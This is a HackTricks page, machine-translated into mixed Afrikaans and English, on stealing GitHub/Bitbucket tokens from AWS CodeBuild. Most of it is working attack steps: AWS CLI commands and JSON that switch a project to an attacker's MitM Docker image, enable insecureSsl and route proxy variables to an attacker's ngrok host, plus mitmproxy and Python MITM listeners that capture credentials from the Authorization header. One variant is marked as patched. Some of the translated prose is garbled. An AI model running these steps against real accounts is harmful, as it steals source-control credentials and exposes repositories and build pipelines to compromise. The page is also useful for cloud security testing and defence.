AWS Codebuild - Token Leakage

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Herstel Github/Bitbucket-gekonfigureerde Tokens

Eerstens, kyk of daar enige bron-inlogbewyse gekonfigureer is wat jy kan leak:

aws codebuild list-source-credentials

Deur Docker-image

Indien jy sien dat authentisering, byvoorbeeld vir Github, in die account ingestel is, kan jy daardie exfiltrate daardie access (GH token or OAuth token) bewerkstellig deur Codebuild ’n spesifieke Docker-image te laat gebruik om die build van die projek uit te voer.

Vir hierdie doel kan jy ’n nuwe Codebuild project skep of die omgewing van ’n bestaande een verander om die Docker image te stel.

Die Docker-image wat jy kan gebruik is https://github.com/carlospolop/docker-mitm. Dit is ’n baie basiese Docker-image wat die env variables https_proxy, http_proxy en SSL_CERT_FILE sal stel. Dit sal jou toelaat om die meeste verkeer van die gasheer aangedui in https_proxy en http_proxy te onderskep en die SSL CERT aangedui in SSL_CERT_FILE te vertrou.

  1. Skep & laai op jou eie Docker MitM-image
  • Volg die instruksies in die repo om jou proxy IP-adres en SSL-cert in te stel en bou die Docker-image.
  • STEL NIE http_proxy NIE om nie versoeke na die metadata endpoint te onderskep nie.
  • Jy kan ngrok gebruik soos ngrok tcp 4444 om die proxy na jou host te stel
  • Sodra jy die Docker-image gebou het, laai dit op na ’n openbare repo (Dockerhub, ECR…)
  1. Stel die omgewing
  • Skep ’n nuwe Codebuild project of wysig die omgewing van ’n bestaande een.
  • Stel die projek om die vorheen gegenereerde Docker-image te gebruik
  1. Stel die MitM-proxy op jou host
  • Soos aangedui in die Github repo kan jy iets soos gebruik:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Die mitmproxy-weergawe wat gebruik is, was 9.0.1, dit is gerapporteer dat dit met weergawe 10 moontlik nie sal werk nie.

  1. Voer die build uit & vang die credentials op
  • Jy kan die token in die Authorization header sien:

Dit kan ook vanaf die aws cli gedoen word met iets soos

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Deur insecureSSL

Codebuild projects het ’n instelling genaamd insecureSsl wat in die web UI versteek is — jy kan dit slegs via die API verander.
As dit aangeskakel is, laat dit Codebuild toe om met die repository te koppel sonder om die sertifikaat te verifieer wat deur die platform aangebied word.

  • Eerstens moet jy die huidige konfigurasie opvra met iets soos:
aws codebuild batch-get-projects --name <proj-name>
  • Dan, met die ingesamelde inligting kan jy die projekinstelling insecureSsl op True opdateer. Die volgende is ’n voorbeeld van hoe ek ’n projek opdateer, let op die insecureSsl=True aan die einde (dit is die enigste ding wat jy hoef te verander van die ingesamelde konfigurasie).
  • Boonop voeg ook die omgewingsveranderlikes http_proxy en https_proxy by wat na jou tcp ngrok wys soos:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Laastens, klik op Build the project, die credentials sal in clear text (base64) na die mitm-poort gestuur word:

Via HTTP-protocol

[!TIP] > Hierdie kwetsbaarheid is deur AWS op een of ander tydstip in die week van die 20ste Feb 2023 reggestel (ek dink Vrydag). Dus kan ’n attacker dit nie meer misbruik nie :)

’n attacker met elevated permissions in over a CodeBuild could leak the Github/Bitbucket token wat gekonfigureer is, of as permissions via OAuth gekonfigureer is, die temporary OAuth token used to access the code.

  • ’n attacker kan die environment variables http_proxy en https_proxy by die CodeBuild project voeg wat na sy masjien wys (byvoorbeeld http://5.tcp.eu.ngrok.io:14972).
  • Verander dan die URL van die github repo om HTTP in plaas van HTTPS te gebruik, byvoorbeeld: http://github.com/carlospolop-forks/TestActions
  • Begin dan die basiese voorbeeld vanaf https://github.com/synchronizing/mitm op die poort waarna die proxy variables (http_proxy and https_proxy) wys
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Volgende, klik op Build the project of begin die build vanaf die opdraglyn:
aws codebuild start-build --project-name <proj-name>
  • Laastens sal die credentials in clear text (base64) na die mitm port gestuur word:

Warning

Nou sal ’n attacker die token vanaf sy masjien kan gebruik, alle privileges wat dit het kan lys en dit makliker kan (ab)use as om die CodeBuild service direk te gebruik.

Untrusted PR execution via webhook filter misconfiguration

Vir die PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), sien:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks